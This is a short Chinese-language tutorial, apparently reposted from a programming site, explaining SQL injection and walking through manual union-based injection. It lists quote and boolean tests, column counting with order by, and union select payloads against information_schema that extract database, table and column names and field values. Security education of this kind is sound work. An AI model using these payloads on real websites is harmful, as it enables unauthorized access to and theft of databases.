概述
SQL注入漏洞
- SQL注入漏洞基本原理
- 部分SQL语句
- 注入步骤
SQL注入漏洞基本原理
Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。
可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。
sql
注入是将用户输入的数据
当作了SQL
语句放入了数据库
执行。
XSS
是将用户输入的数据
当作了HTML
语句放到了页面
上执行。
部分SQL语句
order by 字段:根据该字段排序,由小到大。
order by 3:根据第三个字段排序,由小到大。
limit 0,2:从第一行起显示两条记录。(0表示第一行,2表示显示两行)
union select:将多个表拼接在一起显示。
column_name:字段名
table_name:表名
schema_name:库名
information_schema:表示所有信息,包括库、表、字段
information_schema.columns:表示所有字段的信息
information_schema.tables:表示所有表的信息
information_schema.schemata:表示所有数据库的信息
table_schema:tables表中的数据库名
注入步骤
1.找:与数据库交互的地方(增删改查)
功能:注册、登录、搜索框、筛选、排序。
读取数据:网站偷偷记录我们的数据,收入数据库。
2.判断:语句是否执行
找注入点:id=1’ 在1后面加单引号,页面出错
id=1 and 1=1 正常 id=1 and 1=2 错误
参数可控:改变网页地址的参数,看页面是否变化。
3.查看前一个表的字段数
用order by 数字,直到某一个数字n报错,说明该表有n-1个字段
4.查询数据库名
and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1
4.查询当前库的表名,用union连接select语句
使union前的语句不成立,以执行我们输入的语句
and 1=2 union select…
从information_schema库的tables表中查询table_name字段,且数据库名等于当前数据库,显示第一行的信息(即第一个表名)
and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
因为我们查的只有一个字段名table_name,所以要在table_name前添加1,2,3等等来占位,以符合前一个表的字段数。(例如:select 1,table_name from…)
5.查询字段名
select 1,column_name from information_schema.columns where table_schema= database() and table_name=‘上一步查到的表名’ limit 0,1
(单引号要换成英文的)
6.查字段的值
and 1=2 union select 1,字段名 from 表名
最后
以上就是勤劳未来为你收集整理的SQL注入——判断注入SQL注入漏洞基本原理部分SQL语句注入步骤的全部内容,希望文章能够帮你解决SQL注入——判断注入SQL注入漏洞基本原理部分SQL语句注入步骤所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复